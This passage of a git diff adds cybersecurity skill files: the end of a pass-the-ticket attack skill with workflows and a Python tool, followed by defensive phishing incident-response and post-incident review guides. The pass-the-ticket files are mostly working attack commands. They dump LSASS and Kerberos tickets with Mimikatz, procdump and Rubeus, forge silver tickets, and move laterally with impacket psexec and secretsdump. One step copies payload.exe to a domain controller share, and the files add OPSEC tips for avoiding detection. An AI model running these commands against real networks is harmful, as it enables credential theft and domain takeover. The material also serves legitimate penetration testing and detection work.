group +3. Enable LSASS RunAsPPL protection +4. Monitor Event ID 4769 anomalies +5. Reduce TGT lifetime for admin accounts + +## MITRE ATT&CK +- T1550.003 - Pass the Ticket +- T1003.001 - LSASS Memory diff --git a/skills/conducting-pass-the-ticket-attack/references/standards.md b/skills/conducting-pass-the-ticket-attack/references/standards.md new file mode 100644 index 00000000..f1cf5985 --- /dev/null +++ b/skills/conducting-pass-the-ticket-attack/references/standards.md @@ -0,0 +1,35 @@ +# Standards and Framework References + +## MITRE ATT&CK + +| Technique ID | Name | Tactic | +|-------------|------|--------| +| T1550.003 | Use Alternate Authentication Material: Pass the Ticket | Lateral Movement | +| T1003.001 | OS Credential Dumping: LSASS Memory | Credential Access | +| T1558 | Steal or Forge Kerberos Tickets | Credential Access | +| T1021.002 | Remote Services: SMB/Windows Admin Shares | Lateral Movement | + +## Kerberos Ticket Types + +| Ticket | Purpose | Lifetime | Encryption | +|--------|---------|----------|-----------| +| TGT (Ticket Granting Ticket) | Authenticates to KDC for TGS requests | 10 hours default | krbtgt NTLM hash | +| TGS (Ticket Granting Service) | Authenticates to specific service | 10 hours default | Service account hash | + +## Detection - Windows Event IDs + +| Event ID | Description | PtT Indicator | +|----------|-------------|---------------| +| 4768 | TGT Request | Unusual source IP for known user | +| 4769 | TGS Request | Service access from unexpected host | +| 4770 | TGT Renewal | Renewal from different IP than original | +| 4771 | Kerberos Pre-Auth Failed | May indicate ticket reuse attempts | + +## NIST SP 800-171 +- 3.5.1: Identify system users, processes acting on behalf of users +- 3.5.2: Authenticate identities before allowing access +- 3.1.1: Limit system access to authorized users + +## CIS Controls +- Control 6: Access Control Management +- Control 8: Audit Log Management - Monitor Kerberos authentication events diff --git a/skills/conducting-pass-the-ticket-attack/references/workflows.md b/skills/conducting-pass-the-ticket-attack/references/workflows.md new file mode 100644 index 00000000..42714934 --- /dev/null +++ b/skills/conducting-pass-the-ticket-attack/references/workflows.md @@ -0,0 +1,100 @@ +# Pass-the-Ticket Attack Workflows + +## Workflow 1: Mimikatz Ticket Extraction and Injection + +### Step 1: Export Tickets from LSASS +```powershell +# Dump all Kerberos tickets from memory +mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit" + +# List exported .kirbi files +dir *.kirbi + +# Identify high-value tickets (Domain Admin TGTs) +# Look for: [0;xxxxx]-2-0-40e10000-administrator@krbtgt-DOMAIN.LOCAL.kirbi +``` + +### Step 2: Inject Ticket into Session +```powershell +# Purge existing tickets +mimikatz.exe "kerberos::purge" "exit" + +# Or with klist +klist purge + +# Import stolen ticket +mimikatz.exe "kerberos::ptt [0;xxxxx]-2-0-40e10000-administrator@krbtgt-DOMAIN.LOCAL.kirbi" "exit" + +# Verify ticket is loaded +klist +``` + +### Step 3: Access Resources +```powershell +# Access file shares as impersonated user +dir \\dc01.domain.local\c$ + +# Execute commands remotely +PsExec.exe \\dc01.domain.local cmd.exe + +# Access admin shares +copy payload.exe \\dc01.domain.local\c$\windows\temp\ +``` + +## Workflow 2: Rubeus Ticket Operations + +### Dump and Inject +```powershell +# Dump all tickets (requires local admin) +.\Rubeus.exe dump + +# Dump tickets for specific LUID +.\Rubeus.exe dump /luid:0x3e4 + +# Extract TGT for current user (no admin required) +.\Rubeus.exe tgtdeleg + +# Inject ticket from base64 +.\Rubeus.exe ptt /ticket:doIFmjCC...base64ticket... + +# Create sacrificial process with ticket +.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /ptt /ticket:base64ticket +``` + +## Workflow 3: Linux-Based Pass-the-Ticket (Impacket) + +### Convert and Use Tickets +```bash +# Convert .kirbi to .ccache +impacket-ticketConverter ticket.kirbi ticket.ccache + +# Set environment variable for ticket +export KRB5CCNAME=ticket.ccache + +# Use with Impacket tools +impacket-psexec -k -no-pass domain.local/administrator@dc01.domain.local +impacket-smbexec -k -no-pass domain.local/administrator@dc01.domain.local +impacket-wmiexec -k -no-pass domain.local/administrator@dc01.domain.local +impacket-secretsdump -k -no-pass domain.local/administrator@dc01.domain.local + +# List accessible shares +impacket-smbclient -k -no-pass domain.local/administrator@dc01.domain.local +``` + +## Workflow 4: Silver Ticket (Forged TGS) +```powershell +# Create silver ticket with Mimikatz (requires service account NTLM hash) +mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:NTLM_HASH /ptt" "exit" + +# Create silver ticket with Rubeus +.\Rubeus.exe silver /service:cifs/server.domain.local /rc4:NTLM_HASH /user:administrator /domain:domain.local /sid:S-1-5-21-xxx /ptt +``` + +## OPSEC Considerations + +1. Stolen tickets have limited lifetime (default 10 hours for TGT) +2. TGT reuse from different IP may trigger advanced detection +3. Silver tickets bypass the KDC entirely - harder to detect +4. Use createnetonly in Rubeus to avoid overwriting legitimate tickets +5. Monitor for credential guard which protects Kerberos tickets +6. Be aware that some EDR solutions monitor ticket injection diff --git a/skills/conducting-pass-the-ticket-attack/scripts/process.py b/skills/conducting-pass-the-ticket-attack/scripts/process.py new file mode 100644 index 00000000..a12276f9 --- /dev/null +++ b/skills/conducting-pass-the-ticket-attack/scripts/process.py @@ -0,0 +1,329 @@ +#!/usr/bin/env python3 +""" +Pass-the-Ticket Attack Automation Tool + +Automates PtT workflow including: +- Ticket extraction command generation +- Ticket format conversion +- Lateral movement command generation +- Attack documentation and reporting + +Usage: + python process.py --mode extract --target workstation01 + python process.py --mode convert --input ticket.kirbi --output ticket.ccache + python process.py --mode lateral --ticket ticket.ccache --target dc01.domain.local + python process.py --mode report --output ptt_report.md + +Requirements: + pip install rich impacket +""" + +import argparse +import base64 +import json +import struct +import sys +from datetime import datetime +from pathlib import Path +from typing import Any + +try: + from rich.console import Console + from rich.table import Table + from rich.panel import Panel +except ImportError: + print("[!] Missing dependencies. Install with: pip install rich") + sys.exit(1) + +console = Console() + + +def generate_extraction_commands(target: str, method: str = "all") -> dict: + """Generate commands for ticket extraction.""" + commands = { + "mimikatz": { + "description": "Extract tickets using Mimikatz", + "commands": [ + "privilege::debug", + "sekurlsa::tickets /export", + f"# Tickets exported to current directory as .kirbi files", + "# Look for TGT tickets: *krbtgt*.kirbi", + "# Look for high-value TGS: *cifs*dc*.kirbi, *ldap*dc*.kirbi", + ], + }, + "rubeus": { + "description": "Extract tickets using Rubeus", + "commands": [ + ".\\Rubeus.exe dump", + "# For specific LUID:", + ".\\Rubeus.exe dump /luid:0x3e4", + "# TGT delegation trick (no admin required):", + ".\\Rubeus.exe tgtdeleg", + "# Monitor for new logons:", + ".\\Rubeus.exe monitor /interval:5 /filteruser:administrator", + ], + }, + "procdump": { + "description": "Dump LSASS for offline extraction", + "commands": [ + f"procdump.exe -ma lsass.exe lsass.dmp", + "# Then offline with Mimikatz:", + "sekurlsa::minidump lsass.dmp", + "sekurlsa::tickets /export", + ], + }, + } + + if method != "all": + return {method: commands.get(method, {})} + return commands + + +def generate_injection_commands(ticket_path: str, ticket_format: str = "kirbi") -> dict: + """Generate commands for ticket injection.""" + commands = { + "windows_mimikatz": [ + "# Purge existing tickets", + "kerberos::purge", + f"# Inject ticket", + f"kerberos::ptt {ticket_path}", + "# Verify", + "kerberos::list", + ], + "windows_rubeus": [ + f"# Inject from file", + f".\\Rubeus.exe ptt /ticket:{ticket_path}", + "# Create process with ticket (safer - doesn't modify current session)", + f".\\Rubeus.exe createnetonly /program:C:\\Windows\\System32\\cmd.exe /ptt /ticket:{ticket_path}", + ], + "linux_impacket": [ + f"# Convert if needed (kirbi to ccache)", + f"impacket-ticketConverter {ticket_path} ticket.ccache", + "# Set environment variable", + "export KRB5CCNAME=ticket.ccache", + "# Verify ticket", + "klist", + ], + } + return commands + + +def generate_lateral_movement_commands(target: str, domain: str, username: str = "administrator") -> dict: + """Generate lateral movement commands using injected ticket.""" + commands = { + "windows": [ + f"# Access file share", + f"dir \\\\{target}\\c$", + f"# Remote command execution via PsExec", + f"PsExec.exe \\\\{target} cmd.exe", + f"# WMI remote execution", + f'wmic /node:"{target}" process call create "cmd.exe /c whoami > c:\\temp\\whoami.txt"', + f"# PowerShell remoting", + f"Enter-PSSession -ComputerName {target}", + ], + "linux_impacket": [ + f"# PsExec with Kerberos ticket", + f"impacket-psexec -k -no-pass {domain}/{username}@{target}", + f"# SMBExec", + f"impacket-smbexec -k -no-pass {domain}/{username}@{target}", + f"# WMIExec", + f"impacket-wmiexec -k -no-pass {domain}/{username}@{target}", + f"# SecretsDump (DCSync if targeting DC)", + f"impacket-secretsdump -k -no-pass {domain}/{username}@{target}", + f"# SMB client for file access", + f"impacket-smbclient -k -no-pass {domain}/{username}@{target}", + ], + } + return commands + + +def analyze_kirbi_ticket(ticket_path: str) -> dict | None: + """Parse basic information from a .kirbi ticket file.""" + try: + with open(ticket_path, "rb") as f: + data = f.read() + + info = { + "file": ticket_path, + "size": len(data), + "format": "kirbi" if data[:2] in [b'\x76\x82', b'\x61\x82'] else "unknown", + } + + # Basic ASN.1 parsing - extract visible strings + strings = [] + i = 0 + while i < len(data): + if 32 <= data[i] <= 126: + s = "" + while i < len(data) and 32 <= data[i] <= 126: + s += chr(data[i]) + i += 1 + if len(s) > 3: + strings.append(s) + i += 1 + + info["extracted_strings"] = strings[:20] + + # Try to identify realm and service from extracted strings + for s in strings: + if "." in s and s.isupper(): + info["realm"] = s + if "/" in s: + info["service"] = s + + return info + + except Exception as e: + console.print(f"[red][-] Error parsing ticket: {e}[/red]") + return None + + +def convert_ticket(input_path: str, output_path: str): + """Convert between ticket formats (kirbi <-> ccache).""" + try: + from impacket.krb5.ccache import CCache + from impacket.krb5 import constants + + if input_path.endswith(".kirbi") and output_path.endswith(".ccache"): + ccache = CCache.loadKirbiFile(input_path) + ccache.saveFile(output_path) + console.print(f"[green][+] Converted {input_path} -> {output_path}[/green]") + elif input_path.endswith(".ccache") and output_path.endswith(".kirbi"): + ccache = CCache.loadFile(input_path) + # Export each credential as kirbi + for cred in ccache.credentials: + kirbi_data = cred.toKirbi() + with open(output_path, "wb") as f: + f.write(kirbi_data) + console.print(f"[green][+] Converted {input_path} -> {output_path}[/green]") + else: + console.print("[red][-] Unsupported conversion. Use .kirbi <-> .ccache[/red]") + + except ImportError: + console.print("[yellow][!] Impacket not installed. Use manually:[/yellow]") + console.print(f"[cyan]impacket-ticketConverter {input_path} {output_path}[/cyan]") + except Exception as e: + console.print(f"[red][-] Conversion failed: {e}[/red]") + + +def generate_report(target: str, domain: str, findings: list[dict] | None, output_path: str): + """Generate Pass-the-Ticket attack report.""" + report = f"""# Pass-the-Ticket Attack Report +## Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} + +--- + +## 1. Executive Summary + +Pass-the-Ticket attack was performed against {domain} environment. Kerberos tickets +were extracted from compromised hosts and used for lateral movement to target systems. + +## 2. Attack Steps + +### 2.1 Ticket Extraction +- **Source Host:** [COMPROMISED HOST] +- **Method:** [Mimikatz/Rubeus/LSASS dump] +- **Tickets Extracted:** [COUNT] +- **High-Value Tickets:** [LIST] + +### 2.2 Ticket Injection +- **Target:** {target} +- **Ticket Used:** [TICKET DETAILS] +- **Identity Impersonated:** [USERNAME] + +### 2.3 Lateral Movement +- **Access Achieved:** [FILE SHARE/RCE/DCSYNC] +- **Evidence:** [SCREENSHOT REFERENCES] + +## 3. MITRE ATT&CK Mapping + +| Technique | ID | Status | +|-----------|----|--------| +| Pass the Ticket | T1550.003 | Executed | +| LSASS Memory Dump | T1003.001 | Executed | +| SMB/Admin Shares | T1021.002 | Executed | + +## 4. Recommendations + +1. Enable Credential Guard to protect Kerberos tickets in memory +2. Implement Protected Users security group for privileged accounts +3. Deploy LSASS protection (RunAsPPL) +4. Monitor Event ID 4769 for anomalous service ticket requests +5. Reduce TGT lifetime for privileged accounts +6. Implement network segmentation to limit lateral movement +7. Deploy advanced EDR with credential theft detection + +--- + +*Report Classification: CONFIDENTIAL* +""" + + out = Path(output_path) + out.parent.mkdir(parents=True, exist_ok=True) + with open(out, "w") as f: + f.write(report) + + console.print(f"[green][+] Report saved to: {output_path}[/green]") + + +def main(): + parser = argparse.ArgumentParser(description="Pass-the-Ticket Attack Tool") + parser.add_argument("--mode", required=True, + choices=["extract", "inject", "lateral", "convert", "analyze", "report"], + help="Operation mode") + parser.add_argument("--target", help="Target host") + parser.add_argument("--domain", default="domain.local", help="Domain name") + parser.add_argument("--username", default="administrator", help="Username to impersonate") + parser.add_argument("--ticket", help="Path to ticket file") + parser.add_argument("--input", help="Input file for conversion") + parser.add_argument("--output", default="./ptt_report.md", help="Output path") + parser.add_argument("--method", default="all", choices=["all", "mimikatz", "rubeus", "procdump"], + help="Extraction method") + + args = parser.parse_args() + + if args.mode == "extract": + commands = generate_extraction_commands(args.target or "TARGET", args.method) + for method, details in commands.items(): + console.print(Panel( + "\n".join(details.get("commands", [])), + title=f"{method}: {details.get('description', '')}", + )) + + elif args.mode == "inject": + if not args.ticket: + console.print("[red][-] --ticket required[/red]") + return + commands = generate_injection_commands(args.ticket) + for platform, cmds in commands.items(): + console.print(Panel("\n".join(cmds), title=platform)) + + elif args.mode == "lateral": + commands = generate_lateral_movement_commands( + args.target or "dc01.domain.local", + args.domain, + args.username, + ) + for platform, cmds in commands.items(): + console.print(Panel("\n".join(cmds), title=f"Lateral Movement - {platform}")) + + elif args.mode == "convert": + if not args.input or not args.output: + console.print("[red][-] --input and --output required[/red]") + return + convert_ticket(args.input, args.output) + + elif args.mode == "analyze": + if not args.ticket: + console.print("[red][-] --ticket required[/red]") + return + info = analyze_kirbi_ticket(args.ticket) + if info: + console.print(Panel(json.dumps(info, indent=2), title="Ticket Analysis")) + + elif args.mode == "report": + generate_report(args.target or "TARGET", args.domain, None, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/conducting-phishing-incident-response/SKILL.md b/skills/conducting-phishing-incident-response/SKILL.md new file mode 100644 index 00000000..8603538a --- /dev/null +++ b/skills/conducting-phishing-incident-response/SKILL.md @@ -0,0 +1,239 @@ +--- +name: conducting-phishing-incident-response +description: > + Responds to phishing incidents by analyzing reported emails, extracting indicators, + assessing credential compromise, quarantining malicious messages across the organization, + and remediating affected accounts. Covers email header analysis, URL/attachment + sandboxing, and mailbox-wide purge operations. Activates for requests involving + phishing response, email incident, credential phishing, spear phishing investigation, + or phishing remediation. +domain: cybersecurity +subdomain: incident-response +tags: [phishing-response, email-security, credential-compromise, email-header-analysis, mailbox-remediation] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Conducting Phishing Incident Response + +## When to Use + +- A user reports receiving a suspicious email via the phishing report button or abuse mailbox +- Email gateway detects a malicious email that bypassed initial filtering +- Threat intelligence indicates an active phishing campaign targeting the organization +- A user confirms they clicked a link or opened an attachment from a suspicious email +- Credentials have been entered on a suspected phishing page + +**Do not use** for business email compromise (BEC) involving compromised internal accounts; use BEC response procedures which focus on account takeover investigation. + +## Prerequisites + +- Email security gateway with message trace and quarantine capabilities (Microsoft Defender for Office 365, Proofpoint, Mimecast) +- Microsoft 365 admin access or Google Workspace admin for mailbox search and purge +- Malware sandbox for attachment and URL analysis (ANY.RUN, Joe Sandbox, Hybrid Analysis) +- Email header analysis tools (MXToolbox Header Analyzer, Google Admin Toolbox) +- Identity provider access for account remediation (Azure AD, Okta, Duo) +- Phishing report intake process (dedicated mailbox or integrated report button) + +## Workflow + +### Step 1: Receive and Triage the Phishing Report + +Evaluate the reported email to determine if it is malicious: + +- Extract the email as an .EML or .MSG file (preserves headers) +- Analyze email headers to determine the true sender, relay path, and authentication results + +``` +Email Header Analysis Checklist: +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Return-Path: billing@spoofed-domain[.]com +From: "IT Support" +Reply-To: attacker@gmail[.]com (different from From) +SPF: FAIL (sender IP not authorized for domain) +DKIM: FAIL (signature invalid) +DMARC: FAIL (policy: none - no enforcement) +Received: from mail.attacker-infra[.]net [45.33.x.x] +X-Originating-IP: 45.33.x.x +Message-ID: +``` + +Classification criteria: +- **Confirmed Phishing**: Malicious URL/attachment, spoofed sender, credential harvesting page +- **Suspicious**: Anomalous headers but no confirmed malicious content +- **Spam/Marketing**: Unwanted but not malicious +- **Legitimate**: Not a phishing email (false report) + +### Step 2: Analyze Malicious Content + +Examine URLs and attachments in a safe environment: + +**URL Analysis:** +- Check URL against VirusTotal, URLscan.io, and Google Safe Browsing +- Open URL in a sandbox browser to capture the landing page +- Check if the URL redirects to a credential harvesting page +- Identify the phishing kit type (Microsoft 365 login clone, Okta clone, generic) +- Determine if the phishing page is still active + +**Attachment Analysis:** +- Calculate file hash (SHA-256) and check against VirusTotal +- Detonate in sandbox (ANY.RUN, Joe Sandbox) +- Analyze document for macros (olevba for Office files) +- Check for embedded exploits (CVE exploitation in document parsers) + +### Step 3: Determine Scope of Impact + +Identify all recipients and assess who interacted with the phishing email: + +``` +Scope Assessment: +━━━━━━━━━━━━━━━━ +Total Recipients: 47 users +Delivered to Inbox: 38 users (9 caught by email gateway) +Opened Email: 24 users (email tracking pixel data) +Clicked Link: 8 users (proxy/firewall logs) +Entered Credentials: 3 users (phishing page submitted form data) +Opened Attachment: 2 users (EDR process execution telemetry) +``` + +Search methods: +- Microsoft 365: Use Threat Explorer or Content Search to find all instances of the email +- Google Workspace: Use Admin Console > Investigation tool for message search +- Proxy logs: Search for connections to the phishing URL from internal IPs +- EDR: Search for attachment file hash execution across all endpoints + +### Step 4: Contain the Threat + +Execute containment actions based on impact assessment: + +**Email Containment:** +- Purge the phishing email from all mailboxes using Microsoft 365 Content Search and Purge or Google Workspace Admin delete +- Block the sender domain at the email gateway +- Add the phishing URL to the web proxy blocklist +- Add attachment hash to email gateway and EDR blocklists + +**Account Containment (for users who entered credentials):** +- Force password reset immediately +- Revoke all active sessions and OAuth tokens +- Enable or re-verify MFA enrollment +- Review mailbox rules for attacker-created forwarding rules +- Check for unauthorized OAuth application grants +- Review recent sign-in activity for suspicious locations + +```powershell +# Microsoft 365: Revoke sessions and reset password +Connect-AzureAD +Revoke-AzureADUserAllRefreshToken -ObjectId "user@corp.com" +Set-AzureADUserPassword -ObjectId "user@corp.com" -ForceChangePasswordNextLogin $true + +# Check for mailbox forwarding rules +Get-InboxRule -Mailbox "user@corp.com" | Where-Object {$_.ForwardTo -or $_.RedirectTo} + +# Remove suspicious forwarding rules +Remove-InboxRule -Mailbox "user@corp.com" -Identity "Rule Name" +``` + +### Step 5: Eradicate and Recover + +Remove all traces of the phishing attack: + +- Confirm email purge completed successfully across all mailboxes +- Verify compromised accounts have been secured (password changed, sessions revoked, MFA verified) +- Remove any malware installed via phishing attachments from affected endpoints +- Monitor compromised accounts for 72 hours for signs of continued unauthorized access +- Check for data exfiltration from compromised accounts during the exposure window + +### Step 6: Post-Incident Actions + +Strengthen defenses against similar phishing attacks: + +- Report the phishing URL to Google Safe Browsing and Microsoft SmartScreen +- Submit the phishing domain for takedown via the domain registrar abuse contact +- Update email gateway filtering rules based on observed evasion techniques +- Send targeted security awareness notification to affected users +- Update phishing simulation program to include the observed technique + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Spear Phishing** | Targeted phishing attack crafted for a specific individual or organization using personalized content | +| **Credential Harvesting** | Phishing technique that mimics a legitimate login page to capture usernames and passwords | +| **SPF (Sender Policy Framework)** | Email authentication protocol that specifies which mail servers are authorized to send email for a domain | +| **DKIM (DomainKeys Identified Mail)** | Email authentication method using cryptographic signatures to verify that an email was not altered in transit | +| **DMARC** | Policy framework that uses SPF and DKIM to determine email authenticity and instructs receivers on handling failures | +| **OAuth Consent Phishing** | Attack that tricks users into granting malicious OAuth applications access to their email and data | +| **Email Header** | Metadata embedded in every email containing routing, authentication, and sender information used for forensic analysis | + +## Tools & Systems + +- **Microsoft Defender for Office 365**: Email threat protection with Threat Explorer for investigation and automated purge +- **Proofpoint TAP (Targeted Attack Protection)**: Email security platform with URL rewriting and attachment sandboxing +- **URLscan.io**: Online service that scans URLs and captures screenshots of phishing pages for evidence +- **PhishTool**: Phishing analysis platform that automates header analysis, URL inspection, and IOC extraction +- **GoPhish**: Open-source phishing simulation platform for security awareness testing + +## Common Scenarios + +### Scenario: Microsoft 365 Credential Phishing via QR Code + +**Context**: Users report an email claiming to be from IT requiring MFA re-enrollment. The email contains a QR code that links to a convincing Microsoft 365 login page clone hosted on a compromised WordPress site. + +**Approach**: +1. Scan the QR code in a sandbox to extract the URL +2. Analyze the phishing page: captures credentials and MFA tokens (adversary-in-the-middle attack) +3. Search email gateway for all recipients using message subject and sender as search criteria +4. Cross-reference with proxy logs to identify users who visited the phishing URL +5. Force password reset and revoke sessions for all users who visited the URL +6. Purge the email from all mailboxes and block the sender domain +7. Notify users about the specific campaign with visual examples of the phishing email + +**Pitfalls**: +- Not checking for adversary-in-the-middle (AiTM) capability that captures session tokens even with MFA +- Only resetting passwords without revoking active sessions (attacker retains access via stolen session cookies) +- Not searching for mailbox forwarding rules created by the attacker after compromising an account +- Missing QR code phishing (quishing) because URL scanning tools cannot decode QR code images + +## Output Format + +``` +PHISHING INCIDENT RESPONSE REPORT +=================================== +Incident: INC-2025-1602 +Date Reported: 2025-11-16T09:15:00Z +Reported By: jdoe@corp.example.com +Classification: Credential Phishing (AiTM) + +EMAIL ANALYSIS +Subject: "Action Required: MFA Re-enrollment" +Sender: it-support@corp-security[.]com (spoofed) +SPF: FAIL | DKIM: FAIL | DMARC: FAIL +Phishing URL: hxxps://compromised-site[.]com/ms365/login +Phishing Type: Microsoft 365 AiTM credential harvester + +IMPACT ASSESSMENT +Recipients: 47 +Clicked Link: 8 +Credentials Entered: 3 (confirmed via proxy POST data) + +CONTAINMENT ACTIONS +[x] Email purged from all 47 mailboxes +[x] Phishing domain blocked at web proxy +[x] Sender domain blocked at email gateway +[x] 3 compromised accounts: passwords reset, sessions revoked +[x] Mailbox forwarding rules reviewed (1 malicious rule removed) +[x] OAuth app grants reviewed (no unauthorized grants found) + +IOCs EXTRACTED +Domain: corp-security[.]com +URL: hxxps://compromised-site[.]com/ms365/login +IP: 104.21.x.x (Cloudflare-hosted) +Sender: it-support@corp-security[.]com + +RECOMMENDATIONS +1. Implement DMARC enforcement (p=reject) for corp domain +2. Deploy QR code scanning in email gateway +3. Send targeted awareness notification to all 47 recipients +4. Request domain takedown via registrar abuse contact +``` diff --git a/skills/conducting-post-incident-lessons-learned/SKILL.md b/skills/conducting-post-incident-lessons-learned/SKILL.md new file mode 100644 index 00000000..41e3ff47 --- /dev/null +++ b/skills/conducting-post-incident-lessons-learned/SKILL.md @@ -0,0 +1,174 @@ +--- +name: conducting-post-incident-lessons-learned +description: Facilitate structured post-incident reviews to identify root causes, document what worked and failed, and produce actionable recommendations to improve future incident response. +domain: cybersecurity +subdomain: incident-response +tags: [incident-response, lessons-learned, post-incident, after-action-review, process-improvement] +version: "1.0" +author: mahipal +license: MIT +--- + +# Conducting Post-Incident Lessons Learned + +## When to Use +- After any security incident has been fully resolved and recovery completed +- Following tabletop exercises or IR simulations +- After significant near-miss events +- Quarterly review of accumulated incident trends +- When IR playbooks need updating based on real-world experience + +## Prerequisites +- Incident fully resolved (containment, eradication, recovery complete) +- Incident timeline and documentation gathered +- All incident responders available for review session +- Meeting space for collaborative discussion +- Incident ticketing system data for metrics analysis + +## Workflow + +### Step 1: Gather Incident Data +```bash +# Export incident timeline from ticketing system +curl -s "https://thehive.local/api/v1/case/$CASE_ID/timeline" \ + -H "Authorization: Bearer $THEHIVE_API_KEY" | jq '.' > incident_timeline.json + +# Extract detection and response metrics from SIEM +index=notable incident_id="IR-2024-042" +| stats min(_time) as first_alert, max(_time) as last_alert, + count as total_alerts, dc(src) as unique_sources + +# Compile all responder actions and timestamps +grep -E "timestamp|action|analyst" /var/log/ir/IR-2024-042/*.json | \ + python3 -m json.tool > compiled_actions.json +``` + +### Step 2: Conduct Blameless Post-Mortem Meeting +``` +Structured Agenda (90 minutes): +1. Incident summary (5 min) - Factual overview +2. Timeline walkthrough (20 min) - Chronological events +3. What worked well (15 min) - Positive outcomes +4. What needs improvement (15 min) - Gaps and failures +5. Root cause analysis (15 min) - 5 Whys or fishbone +6. Action items (10 min) - Specific improvements with owners +7. Playbook updates (10 min) - Changes to IR procedures + +Blameless Principles: +- Focus on systems and processes, not individuals +- Assume best intentions with available information +- Seek to understand, not to blame +``` + +### Step 3: Perform Root Cause Analysis +```bash +# 5 Whys analysis example: +# Why 1: Why did ransomware encrypt production servers? +# Answer: Attacker had domain admin credentials +# Why 2: Why did attacker have domain admin credentials? +# Answer: Kerberoasted a service account and cracked it +# Why 3: Why was the service account password crackable? +# Answer: Used a 12-character dictionary-based password +# Why 4: Why was the service account password weak? +# Answer: No enforcement of service account password policy +# Why 5: Why was there no service account password policy? +# Answer: PAM was not implemented for service accounts +# ROOT CAUSE: Lack of privileged access management +``` + +### Step 4: Calculate Response Metrics +```python +from datetime import datetime +events = { + 'compromise': '2024-01-10 14:00:00', + 'detection': '2024-01-15 08:30:00', + 'triage': '2024-01-15 08:45:00', + 'containment': '2024-01-15 09:30:00', + 'eradication': '2024-01-16 14:00:00', + 'recovery': '2024-01-18 16:00:00', + 'closure': '2024-01-25 10:00:00', +} +fmt = '%Y-%m-%d %H:%M:%S' +times = {k: datetime.strptime(v, fmt) for k, v in events.items()} +print(f"Dwell Time: {times['detection'] - times['compromise']}") +print(f"MTTD: {times['triage'] - times['detection']}") +print(f"MTTC: {times['containment'] - times['detection']}") +print(f"MTTR: {times['recovery'] - times['eradication']}") +print(f"Total Duration: {times['closure'] - times['detection']}") +``` + +### Step 5: Document Findings and Create Action Items +```bash +# Create tracked action items in project management +curl -X POST "https://jira.local/rest/api/2/issue" \ + -H "Authorization: Bearer $JIRA_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{ + "fields": { + "project": {"key": "SEC"}, + "summary": "Implement PAM for service accounts (IR-2024-042)", + "issuetype": {"name": "Task"}, + "priority": {"name": "High"}, + "assignee": {"name": "security_engineer"}, + "duedate": "2024-03-15" + } + }' +``` + +### Step 6: Update Playbooks and Detection Rules +```yaml +# New Sigma detection rule based on incident learnings +title: Kerberoasting Activity Detected +status: stable +description: Detects Kerberoasting based on IR-2024-042 lessons +logsource: + product: windows + service: security +detection: + selection: + EventID: 4769 + TicketEncryptionType: '0x17' + condition: selection +level: high +tags: + - attack.credential_access + - attack.t1558.003 +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| Blameless Post-Mortem | Reviewing incidents focusing on systems, not blaming individuals | +| Root Cause Analysis | Identifying the fundamental reason the incident occurred | +| 5 Whys | Iterative questioning technique to find root cause | +| MTTD | Mean Time to Detect - time from compromise to detection | +| MTTC | Mean Time to Contain - time from detection to containment | +| MTTR | Mean Time to Recover - time from eradication to full recovery | +| Continuous Improvement | Iterating on IR processes based on real incident data | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| TheHive/ServiceNow | Incident timeline and documentation | +| Jira/Azure DevOps | Action item tracking | +| Confluence/SharePoint | Lessons learned documentation | +| Splunk/Elastic | Incident metrics and detection improvement | +| Sigma | Detection rule development | + +## Common Scenarios + +1. **Ransomware Post-Mortem**: Review entire kill chain from initial access to encryption. Identify detection gaps and backup failures. +2. **Phishing Campaign Review**: Analyze why users clicked, why email filters missed it, and how to improve training. +3. **Cloud Misconfiguration Incident**: Review IaC pipeline, CSPM coverage, and change management process. +4. **Insider Threat Review**: Examine DLP effectiveness, access control gaps, and user monitoring capabilities. +5. **Third-Party Breach Impact**: Review vendor risk assessment process and data sharing agreements. + +## Output Format +- Post-incident review meeting minutes +- Root cause analysis document +- Incident metrics report (MTTD, MTTC, MTTR) +- Action items list with owners and deadlines +- Updated IR playbooks and detection rules +- Executive summary for leadership diff --git a/skills/conducting-post-incident-lessons-learned/assets/template.md b/skills/conducting-post-incident-lessons-learned/assets/template.md new file mode 100644 index 00000000..6ce1aaf8 --- /dev/null +++ b/skills/conducting-post-incident-lessons-learned/assets/template.md @@ -0,0 +1,92 @@ +# Post-Incident Lessons Learned Report + +## Incident Information +| Field | Value | +|-------|-------| +| Incident ID | | +| Incident Type | | +| Severity | | +| Date Detected | | +| Date Resolved | | +| Review Date | | +| Facilitator | | + +## Incident Summary +[Brief factual description of the incident] + +## Response Metrics +| Metric | Value | Target | Met Target | +|--------|-------|--------|------------| +| Dwell Time | | < 24 hours | Yes/No | +| MTTD (Detection to Triage) | | < 15 min | Yes/No | +| MTTC (Detection to Containment) | | < 4 hours | Yes/No | +| Eradication Duration | | < 24 hours | Yes/No | +| MTTR (Eradication to Recovery) | | < 48 hours | Yes/No | +| Total Incident Duration | | < 7 days | Yes/No | + +## Timeline +| Date/Time (UTC) | Event | Actor | +|-----------------|-------|-------| +| | Initial compromise (estimated) | Threat actor | +| | First alert generated | SIEM/EDR | +| | Triage completed | SOC analyst | +| | Incident declared | IR lead | +| | Containment achieved | IR team | +| | Eradication completed | IR team | +| | Recovery completed | IT ops | +| | Incident closed | IR lead | + +## What Worked Well +- +- +- + +## What Needs Improvement +- +- +- + +## Root Cause Analysis (5 Whys) +| Level | Question | Answer | +|-------|----------|--------| +| Why 1 | | | +| Why 2 | | | +| Why 3 | | | +| Why 4 | | | +| Why 5 | | | + +**Root Cause:** [Summary] + +## Action Items +| ID | Action | Owner | Priority | Deadline | Category | Status | +|----|--------|-------|----------|----------|----------|--------| +| 1 | | | High/Med/Low | | Process/Tech/People | Open | +| 2 | | | | | | | +| 3 | | | | | | | + +## Playbook Updates Required +| Playbook | Change Description | Owner | Deadline | +|----------|--------------------|-------|----------| +| | | | | + +## Detection Improvements +| Rule Name | Description | MITRE Technique | Priority | +|-----------|-------------|-----------------|----------| +| | | | | + +## Participants +| Name | Role | Present | +|------|------|---------| +| | Incident Commander | Yes/No | +| | SOC Analyst | Yes/No | +| | IR Lead | 